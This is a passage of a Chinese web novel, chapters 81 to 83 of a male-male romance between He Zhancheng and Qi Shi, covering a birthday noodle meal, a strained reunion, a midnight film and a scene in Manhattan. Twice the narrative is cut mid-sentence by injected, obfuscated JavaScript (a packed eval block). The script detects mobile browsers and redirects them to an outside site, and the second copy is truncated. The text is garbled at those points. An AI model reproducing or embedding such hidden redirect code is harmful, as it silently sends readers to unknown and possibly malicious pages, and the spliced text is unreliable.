何湛程忍俊不禁:“没关系,你不让我送蓝绣球,我下次就送紫绣球,不让送粉蔷薇,我还有白玫瑰,这世上的花这么多,我就不信都能送的完!” 戚时一挑眉:“要是真的都送完了呢?” 何湛程“切”一声:“花都送完了,那我就送给你草啊!很多草都是观赏性植物,卖得比花还贵呢!” 戚时有点懵,刚才一瞬间,他大脑好像闪过一句什么东西? 脑子一抽,脱口而出就问:“送给我草?” 何湛程点点头:“对啊,我送给你草。” 说完,他也愣住了。 他的大脑刚才……好像也闪过一句什么东西? 俩人对视一眼。 然后红着脸各自别开。 并肩走没两步,戚时转眼一瞥,见何湛程穿得太薄,几乎没怎么犹豫,一把将人揽进怀里暖着,低声关怀道:“冷么?每次都穿这么少,下回再臭美,我不来接你了。” 何湛程抱着花,歪头往他肩膀靠了一下,笑道:“真暖和,谢谢二哥。” 戚时板起脸:“说了,不许叫‘二哥’了。” 何湛程自动耳聋,念念叨叨道:“二哥,二哥,二哥,二哥二哥二哥二哥二哥——我就喜欢叫二哥!” 戚时绷不住笑了,搂在他肩头的手动了下,手指捏了捏他软和的脸蛋:“你啊,谁受得了你啊!” 何湛程笑咯咯的,埋头往人怀里钻得更紧。 快上车时,何湛程偷瞄着观察戚时脸色,见对方眼尾嘴角都是笑意,似乎心情很不错,一句“二哥,要不我们和好吧”堵到嘴边,犹豫片刻,又硬生生咽下了去。 他根本不用问。 戚时当然会答应和他在一起啊。 无论他要求什么,这个人都会答应他。 因为他心脏不好。 因为他爸爸病入膏肓快去世了。 因为他孤家寡人很可怜。 两个后车座依旧放的是两个大型加湿器,车内温度潮湿温暖,呼吸起来格外舒服。 何湛程抱着花进去,占了一个位置,然后起身放下花,弯腰把那个加湿器放到副驾上去。 戚时心里突然不太是滋味。 扭身冲人道:“你直接坐前面来不就行了?” 何湛程低头绑着安全带:“没事,就这样吧,我们去吃饭。” 何湛程没买生日蛋糕,因为知道戚时不喜欢过生日。 据说戚时八岁过生日时,哥哥攒钱给他在县城最出名的一家店里订了个很贵的生日蛋糕,店长老板欺负兄弟俩是孤儿,他们去领蛋糕时,对方说忘记做了,然后当场毫不避讳地当着他们的面,拿一个快放坏了的旧蛋糕胚开始涂奶油。 哥哥气不过找对方理论,店家无动于衷,也不给退钱,哥哥脾气上来,二话不说抄起棍子,把那家店里的橱窗、和摆在橱窗里的所有蛋糕模型都给砸了,吓得店家尖叫个不停,最后还把警察给招来了。 事情处理得很好,哥哥没被抓走不说,还得到了店家的赔偿和另一笔精神损失费。 因为哥哥有个关系很好的大学同学,同学的父亲,是他们县城派出所的所长。 戚时被那暴力场景吓得连做好几天噩梦,他觉得,哥哥似乎有点反应过度,但在他心里,哥哥永远都是正确的。 也不知怎的,后来哥哥说给他订蛋糕,他莫名都有点怕,语气含混地说不喜欢吃,慢慢的,日子一长,哥哥忙于工作打拼,他一个人在家里冷冷清清,干脆连生日也不想过了。 何湛程就说,去找家烟火气浓的小店,陪戚时吃碗面好了。 “为什么要找烟火气浓的小店?” “因为在烟火不息的地方,人能长生。” 戚时瞟了眼后视镜,见后排坐着一个老神叨叨的小迷信,一脸严肃的样子……怪可爱的。 忍不住一笑,就说:“那行,听你的吧!” 一家自称手艺传承近百年的拉面馆,门店不大,但够干净敞亮。 何湛程一路上不停地跟戚时碎碎念,说,他知道戚时不管买衣服还是吃饭,总喜欢往高档地方跑,但这次戚时不可以嫌弃,因为这是全京城大众点评的第一名! 且经过他何某人一番仔细调查研究,这家店手艺是否传承百年有待商榷,但他家面馆味道肯定好! 戚时笑出声来,望向后视镜的眼神难掩宠溺:“行,你说好就好。” 临近中午客流量大,拼桌位子都快爆满了,隔着拥堵人群,何湛程牵着戚时的手,在收银台前点餐领了号码牌,然后塞给店长五百块钱,请人帮忙单独开个灶,做一碗长寿面,再磕个荷包蛋。 店长应道:“没问题,您还有什么其他要求吗?” 何湛程:“面条做粗点儿,要有嚼劲,少油少盐少味精,哦不对,别放味精和鸡精。” 店长:“好的。” 戚时凑过来点餐:“老板,我们一起的,你给我来二十个羊肉串,两份酱牛肉拌黄瓜,两碟毛豆花生,然后再来半斤二锅头。” 何湛程脸色一拉,横身把人挤去一边,对老板说:“别的都给他,酒不能给。” 店长犀利的眼风在俩人之间来回一瞟,然后点点头:“好!” 戚时不满意了,扭脸问:“为啥不能给?大好的日子,庆祝庆祝怎么了,我又不喝多。” 何湛程板着脸:“你酒驾,万一出车祸撞到我了怎么办?” 戚时想了想,说:“那你待会儿打出租走。” 何湛程皱起眉:“走? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15839963|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你刚才还在外面问我要不要去看电影呢!” 戚时“啊”一声,努力回忆道:“我问了吗?” 何湛程当即掏手机退票:“那不看了。” 戚时忙伸手拦道:“别,别别别!看吧,票都买了,哪有再退掉的道理,反正我今天也没什么事儿,你愿看我就陪你去。” 何湛程瞪他一眼。 什么叫“你愿看我就陪你去”? 明明是戚时在路上一直偷瞄他,在下车搀他的时候,突然伸胳膊又搂他腰,还很暧昧地凑在他耳边,问他一句“晚上要不要留下来”。 那话把他吓了一跳,他没吭声,戚时也有些尴尬,才紧跟着一句“我想请你看个电影”。 电影吗? 电影当然要看啊! 生怕戚时反悔,在人话音落下的第二秒,他就果断掏手机把票买了。 本月新上映的文艺片,据说是青春疼痛文学,主演和配角们从高中时代懵懂的换乘恋爱,到大学时代真枪实弹的劈腿背叛堕胎分手、最终各自找陌生人随便凑合组建平凡家庭的俗套故事。 不过听说女主美,男主帅,几个配角身材也都不错,还有只限成人观看的大尺度戏,何湛程就觉得,甭管剧情有多烂,反正这部影片外在的视觉艺术性质肯定能值回票价! 不多时,热气腾腾的面端上来。 一碗长寿鸡蛋面,一碗普通牛肉面,几道小菜,和两瓶汽水。 何湛程见戚时抄起一筷子面就要吃下,忙拦道:“诶,不能从中间咬断,你得从头吃才行。” 戚时不打算听,吹吹热气:“哪有那么多讲究。” 何湛程在桌底下轻轻踢了下他裤边:“那我想让你从头吃呢,可以吗?” 戚时立刻把面放回汤里,重新按规矩夹:“行,听你的。” 何湛程瞬间笑成一朵花:“谢谢二哥。” 戚时有点无措,忙低下头吃面,囫囵道:“那个,你赶飞机也够累的,我给你订酒店了,待会吃完饭,你先睡一觉,等晚上醒了咱们再去看电影。” 何湛程点点头:“好。” 戚时其实还想和何湛程聊一聊聚星资本和张助理、还有燕大的事。 他派私家侦探查过了,张助理是钟覃倪的助理,却是聚星资本——也就是何湛程的私人资产总代理人,这么重要的岗位,绝不可能是一仆侍二主。 乔羽那边,戚时亲自打过电话,料定问钟覃倪模样是问不出来什么,于是问了:“何湛程都不在燕大上学,怎么会跟你们这群学生玩儿到一起去的?” 得到的回复是: “谁说他不在燕大上学了?” “他是在江山府你们吵架之后的第二周才办理退学的。” “退学?”戚时不解:“他什么时候入学过?” 乔羽更不解,疑惑道:“不是,你们之前不是情侣吗?你连这都不知道啊?他今年五月份的时候就考进来了啊!” 戚时当时就头痛得挂断电话,整个人混混沌沌,缓了好几天才反应过来。 原来何湛程当初说入学考试,不是去哥大,而是去燕大。 程儿…… 他的程儿本来要陪在他的身边,是他,是他亲手把这个人推得离自己越来越远。 直到这顿饭吃完,戚时撂下碗筷,低头慢吞吞地擦着嘴,始终没有开口。 说什么呢? 他们走到今天这一步,早已经没什么好说的了。 二人并肩出门,何湛程站在他身旁,很自然地牵起他的手。 “二哥,”何湛程偏脸和他商量,“我吃太饱了,咱们散会儿步吧?” “好。”他与他十指紧握。 “二哥,最近身体好点了吗?”何湛程问他,“我听你不怎么咳嗽了,按时吃药了吧?” “嗯。” “烟也不能总是抽,对肺不好,还有,对脑子也不好。” “嗯,你在的时候我绝对不抽。” “什么啊,搞得好像我逼你多紧似的,”何湛程笑,“我就算不在,你也得尽量控制住才行啊。” “没有,”戚时也望着他笑,“就是说,你在的话,我肯定不抽。” “你不早说。” 何湛程很快反应过来戚时什么意思,不禁有些埋怨:“我本科还有小半年就能把全部学分修完了,MIT硕士项目的申请都提交上去了,如果你真的想见我……如果你真的……还惦记我,你就应该……你甚至一次都没飞过来看我。” “也不给我打电话,每次都是我给你打,永远都是你先挂。” “我给你发果果的照片,你也很冷淡,永远都回复‘挺好的’,不说想它,也不说想我。” “我其实收到你哥的信息了,他劝我别在你身上浪费时间了,是你让他说的吧?” “我没听,因为我觉得你有时候对我也挺好的,不是可怜我的那种好。” “但是,戚时,你知道吗,我每次、每次上飞机来见你之前,”说着,眼泪止不住落下来,何湛程哽咽一声,抬袖不停地抹眼泪,“你知道我需要做多久的心理建设吗?” “我怕你生气我送花,又怕你觉得我不送花没诚意,我怕你根本就不想见我,走着走着又把我丢下,把我一个人扔在哪家的餐厅里,我怕你可怜我,又怕你不可怜我、然后又像以前一样人间蒸发不肯理我,我还怕你夜里孤单寂寞了就去找新欢,因为你说你是一个血气方刚的……血气方刚的呜呜呜,你根本就一点都不爱我……明知道你烦我,我还要厚着脸皮每天给你发很多无聊的消息,生怕你把我忘了,我还、呜呜呜我还怕你和章政礼那个骚货又凑在一起,上一次你们俩——唔!” 正哭得泪眼模糊,蓦地下巴被人粗糙的手指捏住,整个人被对方宽厚手掌紧扣入怀,男人温热的嘴唇贴了上来,吸吮着、咬磨着、轻哄着,又将他钳制得死死的。 “少爷,消停会儿吧,你真的好吵。” 82.第82章 配置有两间卧室的豪华酒店套房,十字路口对面就是商业大厦和电影院。 二人拖着行李箱、抱着花束,各自手里拎着下午逛街买的时装和首饰,无视走廊路过偷瞄他们的清洁人员,一前一后,刷卡进门。 何湛程弯腰把蓝绣球放在电视柜上,扭头问:“我听你哥说,你最近搬家了?” “嗯,小公寓,离公司也近,我一个人住比较方便。” 戚时将箱子和七八件礼袋堆在沙发前,随手从冷冻柜里抽出瓶水,拧盖儿喝了两口,笑望着他:“怎么,你要参观一下么?” 何湛程有点诧异:“可以吗?” 他其实只是随口一问。 听戚铭说,戚时说原先住的别墅太冷清,这才搬去了两室一厅的公寓住。 这人怕孤单,从前还有一只狗陪着,现在连狗也没了,夜深人静时,独自躺在空荡荡的高楼里,戚时想必也很寂寞。 不过,自作孽不可活。 这种事,连戚铭都觉得这是弟弟自找的。 听说某次宿醉,戚时三更半夜跌跌撞撞地回家,王姨出门来接他,见他喝得泪流满面的,嘴里还嘟囔着什么“都赖陈北劲和何闽轩”之类的话,王姨看不过去,就劝他少喝点儿。 老婆子是好心,可惜知道的太多了,她不小心提了句何湛程,埋怨了句“小少爷要在的话,您哪敢像这么胡来啊”,戚时脾气突然上来,当场掏手机转钱,把王姨也被辞退了。 搬公寓后,戚时陆续又找了几个保姆,奈何都不太合心意。 不到小半年,五个金牌保姆,两个毫无边界感的话痨,干着干着活儿,笤帚一撂、手套一甩,笑眯眯地就跑过来打扰他工作,一口一个“小戚啊”,催他恋爱结婚,还要把她们的女儿介绍给他; 第三个保姆做饭买菜喜欢报假账,戚时不懂买菜做饭这些,平白无故当了俩月的冤大头,后来某天戚铭来探望弟弟,发现冰箱里肉蛋菜包装有问题,一查发现是保姆网购的折扣货,当场冷了脸,直接做主把对方给辞了; 第四个保姆喜欢偷东西,隔三差五就顺手牵羊,戚时公寓的次卧没有床,三分之二的空间都做成了衣帽间,衣柜、玻璃橱窗、甚至还有巨大的梳妆台和珠宝展柜,屋内存放着许多名牌时装和首饰。 老板平时要求她仔细打扫,但他自己从不进来,她因此知道这些似乎是老板前任恋人的东西。 先是拿走了几件衣服,见老板没发觉,她胆子越来越大,直接伸手拿走了戚时曾经送给何湛程的那块百达翡丽的表,和摆放在表旁边的那串佛珠。 藏好东西在兜里,一抬脚出门,刚好撞到居高临下冷脸俯视她搞半天小动作的老板。 她不知道老板偶尔也会偷偷进来。 第五个保姆年纪较轻,还不满三十,人也老实本分,厨艺好干活勤快,老板以为自己终于碰上个正常人,深深感动之下,送她两套名贵护肤套盒,没料对方倒害羞起来,以为老板对自己有意思,从此每天上班,披着一头乌亮的黑长直,故意穿显得前凸后翘的紧身裙,知道有钱人都好纯天然那一口,她化淡妆、喷味道很淡的香水,微微一笑,六分的容颜便焕发出十二分的精致美丽,不时和老板来个羞涩对视,吓得老板都不敢回家了。 于是老板忍痛割爱,大手一挥了,又把人辞了。 “等等——” 何湛程黑着脸问,“辞就辞了,为什么是‘忍痛割爱’?” 戚老板一挑眉:“人家业务能力强啊,我还给她评五星了呢。” 何湛程冷哼一声,两手一叉腰:“那怎么了?本少爷还清修过呢!我不仅会扫地洗衣服做饭,我还会敲钟诵经和劈柴呢!” 戚老板连忙摆手:“不不不,你太贵了,我雇不起。” 何湛程又不太高兴:“明明是你先问我要不要去你家的。” 戚老板笑了声,忍不住伸手去捏他鼻尖:“来呗,没说不让你来。” 何湛程冲他眨眨眼:“真的?” 戚时点点头:“晚上看完电影,我们就走,正好你回我那儿拿件厚点的外套,明早我就直接送你去机场了。” 何湛程心里美滋滋的,他知道戚时不会随便让人进家住的。 于是大力点头,说了句“行!” 也没问,戚时公寓里就一张床,俩人到底该怎么睡。 不过,何湛程洗完澡后,发现戚时赖在他房间里还没走。 戚时没带行李,身上穿得还是他的蚕丝睡衣,一头软毛吹得蓬干,正惬意地躺在他床边看手机。 十分随心所欲的躺姿,睡衣穿得也敷衍,扣子就系了中间一颗,上头胸膛肌肤半裸不露,随呼吸一起一伏的,饱满得像座山,那人见他出来,忽然身子扭着一动,不经意露出硬挺腹肌和性感人鱼线,看得何湛程两眼发直,鼻腔热血恨不得喷薄而出。 戚时没穿拖鞋,赤脚踩在羊绒地毯上,躺下去时,两只青筋脉络分明的扁薄大脚晃荡在床边,合拢的双膝也微微分开,故意把自己摆成一盘活色生香的菜,不知道在诱惑谁。 此人,毫无“作为一个前男友”的边界感。 何湛程举毛巾擦着头发,驻足原地盯了那人半分钟,眸底愈发红温炽热。 然后低下头,匆匆束紧睡衣领口,转身去另一间卧室。 “干嘛去?”戚时腾地一下从床上跳起来,追过来拽他手腕:“不聊会儿吗?” 何湛程没好气转过头,问他:“聊什么?” 戚时一本正经:“你教我做西红柿炒鸡蛋!” 何湛程盯着他:“先放油,再放蒜,打两个蛋炒至金黄盛碗里,再放西红柿炒熟,放蛋、小葱、少酱油、少盐,出锅。” 戚时不满意摇头:“不行,这个太简单了,你教我炖鱼。” 何湛程翻了个白眼:“大哥,我们出家人不吃肉。” 戚时也翻白眼:“你现在又不是出家人。” 何湛程耐心解释:“我只会做素菜。” 戚时连忙掏手机搜:“你等会儿,我看看有没有什么工序复杂的素菜。” 何湛程无奈:“你都会搜了,直接搜菜谱不就好了?” 戚时轻哼:“你懂什么,知识要从人的嘴里说出来,才能记得更清楚,不然上学大家都看课本得了,谁还请老师啊?” 何湛程提醒:“那你搜网课教程啊!” 戚时否决:“那玩意儿太无聊,我只想听你嘴里说出来的话。” 何湛程忽然伸手挡住他手机,抬眼叫他:“二哥。” 戚时抬头望他:“嗯?” 何湛程有些歉然地倾身过来,双臂环住他腰,和他紧紧抱了一下。 “二哥,下次再聊这个吧,我今天有点累,想休息了。” “嗯嗯,”戚时手掌轻轻拍着他脊背,试探问,“我抱着你睡?” “不要,你抱着我,我就睡不着了。” “为什么?” “因为我怕我会忍不住想操|你。” “……” 又抱着腻歪了会儿,二人分开,各回卧室。 戚时走得很慢,眼风瞄到何湛程—— 不,那是摄人心魂的尤物,是他可爱剔透的小兔崽子,是从每一根头发丝到每一个脚趾都精致完美到令人恨不得将其吃拆入腹的大美人儿。 大美人儿一脸恹恹地正掀被子上床,满怀心事的样子,只教人想再一遍地捧起他脸,重新再无数次地怜惜他、吻他、爱他。 戚时迈着大步又十分笔直地倒退了回来。 “咳咳!”他倚靠在两间屋门中间,冲人攥拳咳嗽两声。 “怎么了?”何湛程刚钻进被窝,侧身扭头看他。 “要不、要不……”好久没做过那档子事儿了,戚时难免有些紧张,一手冒着冷汗揪着裤边,另一手的指甲胡乱抠着门框,语速飞快地说:“要不你来吧,干我,我不介意。” 何湛程有点懵。 懵完过后,忍不住又笑,缓缓的,一道温热又委屈的泪从那人看不见的眼尾流下,他急忙背转过身,调整好呼吸,闭上了眼。 “哎呀走开啦,真是的!” “我困了,下次再说吧。” 戚时愣住原地。 他从对方那话音里听出几分哭腔和颤抖。 “湛程?”他心慌慌的,也跟着绞成一团,轻声问:“你是不是身体不舒服啊?” “没有。” “那个,”他烦躁又懊恼地挠挠头发,“我没强迫你的意思,如果你身体不舒服,你一定及时告诉我,我送你去医——” “戚时,”那人突然打断,吸吸鼻子,说,“这话我就说一遍,如果你是因为可怜我才和我在一起,我们以后再也不要见面了。” 戚时不禁有些头疼。 听听,这叫什么话? 他怎么会是可怜他? 路边流浪的小猫小狗伤胳膊断腿了,他当然会觉得它们很可怜,自家一手养起来的小狗受伤了,即便它平时脾气臭了点儿、为人暴力凶残了点儿、性格淘气恶劣了点儿、偶尔朝三暮四了点儿、说起话来毒舌伤人了点儿,甚至经常作死气得他恨不得反手把它给掐死了点儿、但—— 他怎么会是可怜他? 他抬手揉了揉太阳穴,无奈叹道:“我知道了,你休息吧。” ** 电影是午夜场,凌晨十二点至一点四十五分。 因为是工作日,元旦节刚过,黑漆马虎的大半夜,影院人流量不是很大。 验票排队的人,二十个里面,有七对儿都是牵着手谈笑的情侣,何湛程扭头跟戚时开玩笑,说等电影散场,这几对情侣至少有一半都得回去吵架。 戚时挑眉:“为啥?” 何湛程下巴冲宣传海报一抬:“这是大尺度戏,几个主演和配角又都是新晋流量明星,这次都没少露呢。” 戚时呵呵,不屑道:“就那样儿吧,反正我是不感兴趣。” 何湛程诧异:“为啥?这不是你们公司制作的狗血捞钱剧吗?” 戚时面无表情伸手朝海报正中央一指。 何湛程沿着他手指,问:“咋了?” 戚时干巴巴道:“男主,我哥男朋友。” 何湛程在原地凌乱几秒,瞄了眼戚时,又扭头去看了眼海报,上下左右打量着男主那张青春气浓的笑脸,有点不敢置信。 忍不住一声惊呼,问戚时:“卧槽?你哥谈这么帅的?” 戚时不太满意:“那咋啦,他哪儿帅了?哪儿帅了?区区一个八十线,他有老子谈的帅么?” 俗话说得好,话糙理不糙。 何湛程深以为然,一脸严肃地点头附和道:“那倒没有。” 戚时嘴角扬起,一脸得意:“老子谈的,要颜值有颜值,要身材有身材,纯天然原生态满满胶原蛋白,身上香、皮肤白,比他年轻比他潮,会弹钢琴拉小提琴跳舞画画书法劈柴做饭,上得厅堂下得厨房,身兼常春藤学生和华尔街投资人等多重身份,精通多国语言并经营多家公司,出门在外,不靠脸不拼爹,二十来岁年轻有为,凭一身本事就狂赚好几亿,这就叫人!才!” 何湛程狠狠赞同,噼里啪啦地给人鼓掌:“说得好!” 检票员狂翻白眼:“两位如果不验票的话,请勿阻挡后面的顾客。” 两人忙仓皇摸衣兜裤兜找影票验票,然后逃命似的,手牵着手一溜烟儿迅速入场。 屁股刚一落座,何湛程盯着亮白的大屏幕,就说:“坏了!” 戚时忙问:“怎么了?” 何湛程皱眉:“你都剧透了,我还怎么看?” 戚时无辜:“我连剧本都没见过,什么时候剧透了?” 何湛程反问:“男主是你哥夫,咱俩跑电影院看你哥夫和别的小白花谈情说爱滚床单,你不觉得膈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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异地线上聊天时,戚时是不一样的,虽然眼里对他有温柔和关怀,也会劝他好好吃饭、听医生的话、定期去复查、多注意休息……数不清的形式主义套话,他能感受出来,那是一种权衡利弊后的妥协与低头。 见面后,戚时是个有温度的活人,会搂他、吻他,虽然嘴上还会说些冷冰冰的话,一脸拒人千里之外的样子,但言语行动皆是真情流露的关切,他也都能感受出来。 戚时会讲笑话逗他开心,假装不经意碰他的手、捏他的耳朵和鼻尖,含情脉脉地注视着他的眼,然后一脸严肃地问他,为什么你每次睡醒以后都没有眼屎啊? 简直就是在讨打。 有时,他们不小心亲密过头,那人忍不住就要蠢蠢欲动。 毫无名分的越界与侵占,完全被荷尔蒙和肾上腺素所驱使的疯狂与执着,这是男人,不是爱情。 何湛程也是男人。 他知道对方还在贪恋他的身体。 他给不起了。 回公寓的路上,何湛程低头扒拉着手机,自己也不知道自己在干什么。 他本该在凌晨两点推着他的行李箱在首都机场办理托运,而现在,他和他的行李箱在戚时的车上,毫无头绪地往人家的住处走。 或许他心里也在渴望,他也想和旁边这个英俊的男人发生点什么。 何湛程试探地问了句戚时,你卧室里黑吗? 戚时一笑,说,你喜欢黑,它整个屋子就可以是一点光都不透;你喜欢亮,我就可以让它照得比白天还要亮。 “你喜欢黑还是亮?” “我喜欢你。” 何湛程慌张中假装接到公司电话,嘴里讲一口流利却很着急的法语,冲电话重复了很多遍:“对不起,我想留下!对不起,但是我怕你看见了那个东西就再也不要我了!” 然后扭过头,一脸无奈地告诉戚时,他需要提前走了。 戚时听不懂,但见何湛程很着急的样子,他也跟着着急。 戚时连忙掉头往机场赶,有些担心何湛程的身体:“你现在黑白颠倒满世界乱跑,这哪儿受得了啊?到了那边有休息的时间吗?” 何湛程低埋着头,双手紧攥着手机,攥得骨节发白。 他点点头:“有的。” 戚时伸一只手过来,安慰般揉了揉他的头:“你看你,干嘛把自己搞得这么累,你还上学呢,做生意就玩儿着做吧,用不着太拼,工作上遇到什么困难,尽管找我开口,你二哥虽然没什么大本事,但手里还算有点小钱,咱们这种关系我就不多说了,我的就是你的,房钱车人,只要你想,都随便你拿。” “湛程,不管发生什么事,你的身体最重要,知道吗?” “知道。” “嗯,等到了那边,先给我打个电话。” “算了吧,”何湛程抬手抹了下湿漉眼角,低声说,“打电话,你就又不喜欢我了。” “怎么会?” “只有我在你面前的时候,你才会喜欢我。” “只有你觉得你能睡到我的时候,你才会爱我。” “胡说八道!”戚时皱眉呵斥:“你怎么会这么认为?” 一句“那如果我变成丑八怪了,你还会喜欢我吗”卡在喉咙里,何湛程埋着头没吭声。 哪怕眼睛看不见了,面对自称丑八怪的钟覃倪,戚时都是听音鉴貌,先猜出对方是个帅哥,才正式提出交往的,要是不小心看到他胸前那道疤…… 他连自己看了都厌恶至极。 “我问你呢,”戚时难得态度严肃地对待他,“你为什么会这么认为?” 何湛程被这严厉的语气刺激到了,腾地一下脾气上来,冲人喊:“你还问!你还说!你有本事就先来美国看一趟我和果果,再来拷问我那些有的没的!” 这事一说起,戚时难免就要惭愧。 眼神一瞥,见对方气呼呼的,他不禁一笑。 也不知怎么想的,随口就应下:“行。” 见对方一脸不可置信的眼神望过来,问:“我靠,真的假的?” 快到目的地了,戚时眸底划过几分黯然。 他真讨厌分别。 有些不舍地牵起身旁人的手,紧紧地握在掌心,埋怨道: “笨蛋,早说过了。” “地址发来,我过去陪你。” 83.第83章 窗外,夜幕下的纽约市飘荡着雪花。 空气中浮动着鸡尾酒清甜与红酒的醇香,伴随着主人与宾客的交谈声,新任管家端着托盘,漫游的视线在屋内随意流转: 黑金磨砂质窗框在墙壁里切割出硬朗的线条,直垂落地的玻璃窗一扇隔着一扇,中间墙上悬挂着色彩斑斓的艺术画和摄影作品,正中央呈回字形摆放的Minotti米色沙发,屋角摆着一架漆黑锃亮的施坦威。 这是一所矗立在曼哈顿街区的高档私宅别墅,满室铺着灰羊绒毛毯的会客厅,一只光泽柔亮的阿拉斯加犬,正温驯地抱着毛绒球玩具呼呼睡觉。 管家走上前,贴心地替主人这只每天啥也不干、单月开销就高达五千美金、从早到晚就知道吃喝玩乐缠着主人的肥硕爱宠解下围兜,以免它穿着衣服睡觉不舒服。 “你要买直升机?” “嗯,已经让人去办了,我的分公司在硅谷,往后来往加州方便些。” “那你是准备在这边定居了吗?嗯,我的意思,我以为你早晚会回国继承家业什么的。” “我是家里最小的,没有继承权。”他笑着抿了口酒,见对方一脸抱歉同情地望着他,解释道:“这是我自己的选择。” “你是独生子,毫无疑问你会在未来接手你父亲的公司,但对我这种多子的家族来说,继承公司就像继承皇位,只要有一个人戴上了皇冠,其他人就应该自觉走远一点。” 对方满目柔情地望着他,一双浓卷睫毛大眼睛,眸底闪动着对他深切的同情: “约书亚,你真的很懂事。” “我也这么觉得。”何湛程笑。 “不过我父亲说,”对方一秒变成苦瓜脸:“如果我不结婚生子的话,他半毛钱都不会给我。” 洛斯是个gay,24K纯gay,八岁时穿着粉红小洋裙在房间里玩厨艺玩具,他父亲路过不小心看见,立刻冲过来把他那堆破玩意儿全部扔进垃圾桶,然后塞给他一把弹弓和装满子弹的玩具枪,让他去院子里射杀麻雀,说要培养洛斯的男人血性。 洛斯对父亲的做法提出抗议,因为血性不等于血腥。 他父亲根本就不吃这一套。 洛斯还是个坚定的素食主义者,据说幼时经常被父亲强迫宰割家禽牲畜,给他吓出心理阴影了。 洛斯的父亲是一家开连锁百货公司的大老板,据说还参选过德克萨斯州的州长,差两票没选上,他希望有一个正常的儿子; 洛斯目前在华尔街某交易所做实习生,因为业绩出色,等明年毕业就可以转正成全职二级交易员,下一步就是项目经理、主管、高层……步步高升,然后回家继承家业,年薪百万、千万甚至过亿,前途光明未来可期,他希望有个能理解他的父亲。 何湛程对洛斯、和洛斯的家庭毫无兴趣。 一场下午茶,从中午一点喝到晚上六点半,难得的假日,被这位不速之客打扰。 他的狗都听睡着了!! 他们是朋友,曾经的朋友。 刚上大学时,因为何湛程父亲的关系,俩人可以一起去本地著名投行做算法分析师,后来何湛程厌倦了,中途跑去做对冲基金,仗着身后有大佬替他扛事,不顾一切地在股市大捞特捞,他赚到过钱,也差点把命赔进去,人生大起大落,一个不高兴,转头就退学回家躺着去了,洛基依旧按部就班地上学、实习、做项目、接offer,人生稳如静水细流,偏偏又被何湛程这样的人吸引着。 他们是不小心遇见的。 昨天,何湛程提着礼物上门去拜访那位在华尔街做投行的叔叔—— 对方和他爸同辈,何湛程叫对方爷爷都不为过。 前辈资深金融大鳄,何湛程去请对方指点迷津。 去年他借着新科技的东风赚了点钱,但当下同赛道挤进来的人越来越多,偏偏科技在短期内难以突破瓶颈,他这个年纪做投资,纯为了赚快钱显名声,卷完一波,果断下桌走人,再转战新战场。 当初戚时出事,他把名下几个初创公司的股权都转卖给了李铮鸣,李铮鸣家大业大,为了一个看好的项目,可以长时间持续注资,他孤军奋战比不起,倒不如忍痛割爱换点钱。 这就像在培养一个注定会回报率翻倍、甚至翻百倍的孩子,当初他和他花了大价钱雇来的咨询团队,精挑细选,反复商讨,才在一众实验瓶里选中这几颗焕发着勃勃生机的精良种子,小半年过去,他才刚尝到甜头,就被迫把孩子卖给了别人,说实话,何湛程是非常不甘心的。 他爸给他留的遗产可谓是金山银山,足够他好几辈子吃喝不愁了,但如果他为了搞他自己的事业变卖家产的话,那也太没良心了。 其实,他也不是不想。 他主要是怕他爸真让他给气死,还怕他两个哥哥联手削他一顿,再把他逐出家门。 前辈之前领教过他的折腾劲儿,叹了半天气,第一句就是劝他最好放弃这个念头。 他一个金尊玉贵的大少爷,干什么不行,非要创业?尤其他爸年事已高,他跟家里掌权的哥哥关系又很微妙,日后一旦涉足生意场,吃苦受累赔钱热脸贴冷屁股这些都是家常便饭,届时没人给他撑腰,他越往后,肯定越要扛不住。 何湛程想也不想,脱口而出:“有人给我撑腰的。” 前辈纳闷:“谁?” 何湛程没好意思提。 他总不能说是前男友吧? 嗯,前男友上月在送我去机场的路上,担心我太操劳了,于是说以后有困难随时找他帮忙。 前男友身价好几百亿,兜里有的是钱,他说都给我呢! 鬼才信! 前辈的意思,他非要坚持做公司的话,最好在三十岁之前从投资人转变成企业家。 “要做实业,而不是一直在股市搅混水。” “还有你行事作风,太狠,太绝,你要学一学收敛,给别人留条活路,也是给你自己留活路。” 有些话说得很有道理,有些话说了好像又跟没说一样。 何湛程听个七七八八,自认为领悟的不错。 他目前手下还剩几个在专攻算法模型的科研团队,京城一个、沪上一个,还有两个在硅谷组建了公司,起码五到七年才能生根发芽,这期间,他要做事。 他绝不会再放手把自己孩子卖出去了,只要看见他们,他就可以预见一座挂着“聚星集团”大字标牌的高楼大厦跻身华尔街的生死场,他要用自己的血液去滋养、博弈和厮杀,无论功成名就还是一败涂地,那都将是他生命价值所在。 然后,他就在离开前辈家时遇到了正在敲门的洛斯。 只是简单打了句招呼。 “嗨,约书亚,好久不见,听说你回校了?” “嗯,是的,哦!五点了,时间过得真快!我该回家喂狗了,再见!” 没料正好给洛斯提供一个登门拜访的机会: 看狗。 何湛程也无奈。 在很古老的十八岁,他和洛斯暧昧过一段时间。 洛斯是个长相很甜美的男孩儿,浓眉碧眼,一头金黄清爽的短发,笑起来脸颊上有两个小酒窝,很讨人喜欢。 洛斯也是商学院的学生,俩人不熟的时候,洛斯冷漠得像朵高岭之花,一天起码冷脸抱着书经过他面前八百次,这位学霸只耍酷装逼,不怎么和他搭话,何湛程以为这人讨厌他,有天心情特别差劲,见这装货又一次从他面前横穿而过,他立刻发飙就大步朝人走过去,一把揪起洛斯衣领子冲人吼:“你他妈是陀螺吗!每天在我面前转来转去的!你他妈到底想干什么!” 洛斯吓一跳,怀里书哗啦全掉在地上,小鹿般灵动的眼睛望着他,眨啊眨的,下一秒,脸腾地一下就烧起来了。 何湛程:“……” 但他们未曾有过亲密关系。 洛斯是很 